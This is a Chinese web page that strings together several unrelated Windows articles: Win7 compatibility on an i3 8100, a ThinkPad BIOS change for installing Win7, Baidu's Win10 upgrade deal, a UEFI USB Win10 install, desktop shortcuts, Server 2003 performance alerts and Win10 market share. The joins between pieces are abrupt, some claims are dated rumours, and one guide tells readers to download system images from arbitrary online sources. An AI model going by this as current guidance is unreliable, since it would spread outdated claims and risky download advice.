i3 8100 的全称是Intel 酷睿i3 8100，这款处理器无法安装windows7操作系统，但通过加装独立显卡的方式可以安装Windows7系统。需要注意的是Intel 酷睿i3 8100的核显不支持Windows7操作系统，只支持最新的Windows10操作系统，在安装Windows7电脑系统后会出现各种问题，因此建议安装Windows10操作系统。除了因为i3 8100处理器本身不支持Windows7电脑系统外，另一个原因是微软已经停止了Windows7电脑操作系统的更新维护，因此后期可能会出现各种各样的安全漏洞，给用户造成很大的麻烦。

温馨提示： 在安装系统时，要对电脑系统盘的重要资料进行备份或者转移，避免因为系统盘格式化导致资料丢失。

小改BIOS 双显卡笔记本顺利安装win7

现在很多潮人都开始在试玩新一代操作系统Windows 7，甚至连上网本也可以顺利安装Windows7了。。

笔者也想尝一尝鲜，在自己的ThinkPad T400笔记本上安装，但是在安装过程中，加载显卡驱动时出现了不兼容的问题，导致系统安装失败。这是怎么回事呢？由于ThinkPad T400支持集成/独立显卡切换技术，笔者怀疑是自己安装的RC版Windows7不支持显卡切换造成的系统安装故障，故此进行了以下设置，关掉笔记本显卡切换功能，然后就能正常安装系统了。

要关闭集成/独立显卡切换功能，需要进行入BIOS关闭此项功能。重启系统，按F1键进入BIOS。启动BIOS之后，展开Config→Display项，找到OS Detection for Switchable Graphics项目，将该项目的值设置为Disabled，就可以关闭集成/独立显卡功能。按下F10键保存设置后，退出BIOS。

提示：在BIOS操作中，上以键盘操作为主，指点杆或触摸板通常无法工作。按下键盘上的光标键可以选择需要设置的相关项目，按下回车键则可确认设置的参数。

在接下去安装Windows7的过程，几乎是一路畅通，没有出现任何错误。除了ThinkPad T400之外，其他拥有集成/独立显卡切换技术的笔记本电脑，也可通过BIOS关闭显卡切换功能，即可安装Windows7。

百度如何免费升级win10

正式版Win10将于7月29日正式发布并提供给用户免费下载安装。Win10发布后，用户在百度搜索Win10相关的关键词，就可以获得全面准确的Win10资讯，同时可一键进入微软Win10官方版下载页面，便可获取Win10安装程序。那么百度免费升级Win10是怎么回事呢?

百度的相关负责人表示，通过百度搜索获得的官方升级入口，可以确保Win10升级安装包，给予用户最大的自主选择权，这在此前是根本不能想象的。不过，百度并没有提供软件类升级Windows 10的服务，只是单纯的提供了一个搜索入口而已。但即便如此，对微软推广Windows 10的作用也是巨大的。

作为国内最大的搜索引擎，百度每天要响应超过60亿次的搜索请求，可以直接对接Win10的官方升级渠道。不同于需要捆绑升级的定制版本，百度将给Win10带来更高价值的流量回报。因此，在临近新系统正式发布的最后时刻，微软把百度拉了进来，宣布后者成为其在中国的Win10升级战略合作伙伴。目前，百度已经在搜索服务中提供正版Win10的更新和下载渠道，当用户在百度搜索Win10的关键词时，会直接弹出升级页面。

相比于这一合作方式，百度可能取代Bing，成为中国市场上Win10默认搜索引擎的消息则显得十分不可思议。据接近百度和微软的消息人士透露，微软将在近期宣布相关消息，并从今年11月开始将Windows系统的默认搜索引擎更新为百度搜索。也就是说，今后Win10用户在用浏览器进行地址栏搜索，或使用其他原生搜索功能时，得到的结果可能都将来自百度，而非微软自己的必应搜索。

三星900X3L笔记本电脑凭其轻巧便携、方便使用、可随身携带的优势赢得多数商务人员喜爱，而现在也有很多用户想升级到win10系统，但免费升级已经结束。其实还可以通过u盘uefi启动安装win10 ，下面来看看用三星900X3L电脑uefi启动如何安装win10。

准备工作：

①.到u启动官网首页下载uefi版u盘启动盘制作工具并制作u盘启动盘;

②.准备好win10系统镜像，可以自行去网上查找下载;

③.开机出现三星logo画面时，快速连续按f2热键进入bios设置界面，设置第一启动项优先启动为u盘。

操作步骤：

1、将u盘启动盘插在电脑usb接口，重启电脑后进入win8pe系统，弹出硬盘未分区的提醒框，要先做好硬盘分区，直接点击确定按钮，如图：

2、可以使用pe系统中的分区工具进行分区，比如diskgenius分区工具或者傲梅分区助手等工具，分区完再打开u启动pe装机工具开始安装win10系统。如图：

3、在打开的u启动pe装机工具中，选择win10镜像安装在c盘，点击确定，如图：

4、程序将执行还原操作，勾选完成后重启复选框，点击确定，如图：

5、等待还原结束后便进行程序安装过程，安装完成之后就进入win10设置过程了，根据步骤提示进行操作直到win10安装成功即可，如图：

三星900X3L用uefi启动安装win10系统操作快速简单，也能让用户体验到win10的新鲜，感兴趣的朋友们可以参考上述教程去学习哦。

win10如何在桌面创建快捷方式呢？今天小编为大家讲解一下。

操作方法

打开电脑，鼠标左击一下Windows按键，打开一个菜单，如图所示。

向下滑动该页面，找到需要创建桌面快捷方式的应用，如图所示。

找到之后，右击一下，选择“更多”，如图所示。

打开之后，点击“打开文件位置”，进入下一页面，如图所示。

进入文件夹之后，右击一下程序选择桌面快捷方式即可，如图所示。

特别提示

以上纯属个人编写，请勿转载抄袭。

如何配置基于win2003 的服务器

概要

本文介绍了如何配置基于 Windows Server 2003 的服务器，以便当计算机资源不足时通知您。Windows Server 2003 中的程序从对象、计数器和实例三个方面来定义它收集的性能数据。 性能对象是可以测量的任何资源、程序或服务。您可以使用“系统监视器”和性能日志以及警报来选择性能对象、计数器和实例，以便收集和显示系统组件或安装的软件的性能数据。

您可以在计数器上设置警报，这样，当选定计数器的值超过或低于指定设置时就可以发送消息，启动程序或启动日志。

如何向系统监视器中添加计数器

单击开始，指向管理工具，然后单击性能。如果您选择远程计算机上的对象，当“系统监视器”刷新列表以反映计算机中的现有对象时，可能会有短暂的延迟。

右键单击“系统监视器”的“详细信息”窗格，然后单击 添加计数器。

要监视正在运行监视控制台的任何计算机，请单击“使用本地计算机计数器”。如果要监视某一特定计算机而不管监视控制台在哪里运行，单击“从计算机选择计数器”，然后指定计算机名称。

在“性能对象”下，单击要监视的对象。默认情况下选中的是处理器 对象。

单击所有计数器，或者单击从列表中选择计数器，然后单击某一个列表项。

单击添加。

如何定义计数器和警报阈值

单击开始，指向管理工具，然后单击性能。

双击“性能日志和警报”，然后单击警报。

右键单击警报，单击新建警报设置，为该警报键入一个名称，然后单击确定。

单击常规选项卡，为该警报键入一个描述性注释，然后单击添加。

对于要添加到日志中的每个计数器或计数器组，执行下列步骤：

要从运行“性能日志和警报”服务的计算机上监视计数器，请单击“使用本地计算机计数器”。

或者，要从某台特定的计算机监视计数器，而不管该服务在哪里运行，请单击“从计算机选择计数器”，然后指定您要监视的计算机的名称。

在“性能对象”下面，选择要监视的对象。

然后选择一个或多个要监视的计数器。

要监视选定计数器的所有实例，请单击所有实例。注意，二进制日志可以包含那些在日志启动时不可用但随后变得可用的实例。或者，要监视选定计数器的特定实例，请单击“从列表选择实例”，然后单击一个或多个要监视的实例。

单击添加，然后单击关闭。

在将出发警报，如果值是框中，单击小于或大于。在限制为 框中，指定触发警报的值。

在“数据采样间隔”框中，指定更新间隔的数值和计量单位。

单击操作选项卡，确定当触发警报时引发的操作。

要在“事件查看器”日志中记录警报，请单击“将项记入应用程序事件日志”复选框，将其选中。

要将警报消息发往计算机，请单击“发送网络信息到”复选框，将其选中，然后键入希望接收该警报信息的计算机的名称。

单击“启动性能数据日志”复选框，将其选中，以启动日志文件。

如果您希望在达到警报条件时启动程序，单击“执行这个程序”。您可以直接键入程序的路径或者单击浏览来手动选择您要使用的程序。

单击计划选项卡，然后配置适当的设置，以便手动或在计划的时间开始或停止日志记录。

如何选择要监视的数据

开始按下列顺序监视如下组件的活动：

内存 处理器 磁盘 网络

下面列表显示了建议用于服务器监视的最少的计数器。注意，当您检查特定资源时，应该包括相关性能对象的其他计数器。

组件：磁盘 正被监视的性能方面：用法 要监视的计数器： 物理磁盘 Disk Reads/sec（磁盘读取/秒） 物理磁盘 Disk Writes/sec（磁盘写入/秒） 逻辑磁盘 % Free Space（可用空间）

您必须仔细解读Disk Time（磁盘时间）计数器。由于该计数器的 _Total 实例可能没有准确反映多磁盘计算机上的使用情况，因此，同时使用 % Idle Time（空闲时间）计数器是很重要的。请注意，这些计数器无法显示超过 100% 的值。

组件：磁盘 正被监视的性能方面：瓶颈 要监视的计数器：物理磁盘 Avg.Disk Queue Length（磁盘队列平均长度）（所有实例）

组件：内存 正被监视的性能方面：用法 要监视的计数器： 内存 Available Bytes（可用字节） 内存 Cache Bytes（缓存字节） 组件：内存 正被监视的性能方面：瓶颈或漏洞 要监视的计数器： 内存 Pages/sec（页面/秒） 内存 Page Reads/sec（页面读取/秒） 内存 Transition Faults/sec（传输错误/秒） 内存 Pool Paged Bytes（分页的内存池字节） 内存 Pool Nonpaged Bytes（未分页的内存池字节） 下列组件尽管不是专门的内存对象计数器，但它们对于内存分析很有用：

分页文件 % Usage（用法）对象（所有实例） 缓存 Data Map Hits（数据映射命中）% 服务器 Pool Paged Bytes（分页的内存池字节） 服务器 Pool Nonpaged Bytes（未分页的内存池字节）

组件：网络 正被监视的性能方面：吞吐量 要监视的计数器： 协议传输计数器（因网络协议而异）；对于 TCP/IP 而言，包括： 网络接口 Bytes total/sec（总字节数/秒） 网络接口 Packets/sec（包/秒） 服务器 Bytes Total/sec（总字节数/秒）或 服务器 Bytes Transmitted/sec（发送的字节数/秒） 服务器 Bytes Received/sec（接收的字节数/秒） 您可能需要像“监视网络活动”部分介绍的那样来监视其他对象的网络和服务器吞吐量

组件：处理器 正被监视的性能方面：用法 要监视的计数器：处理器 % Processor Time（处理器时间）（所有实例）

组件：处理器 正被监视的性能方面：瓶颈 要监视的计数器： 系统 Processor Queue Length（处理器队列长度）（所有实例） 处理器 Interrupts/sec（中断/秒） 系统 Context switches/sec（上下文切换/秒）

微软推出window 10已经有1年多时间，但是许多用户仍然蔑视Window 10，继续坚持使用Window 7。然而，NetMarketShare最近一份报告显示，Windows 10自发布以来一直稳步上升为首选操作系统。根据NetMarketShare提供的数字，Windows 7仍然位居第一宝座，在Windows操作系统市场份额为48%，但正如统计曲线所示，Windows 7宝座地位不一定太长了，与在过去一年中win10设备增长相比，Windows 7操作系统份额已经稳步下降。

在微软决定不向客户提供免费升级到Windows 10促销后，现在Windows 10市场占有率已经开始再次爬升，虽然Windows 7和Windows 10两者目前都可以看到相同的发展趋势，但是微软、英特尔和PC厂商新产品不断发布，可能会显着增加Windows 10的市场份额，毫无疑问，这些三方合作的新产品都预装了Windows 10操作系统。

根据目前预测，win10将在2017年12月战胜Windows 7，成为份额第一的Windows桌面操作系统。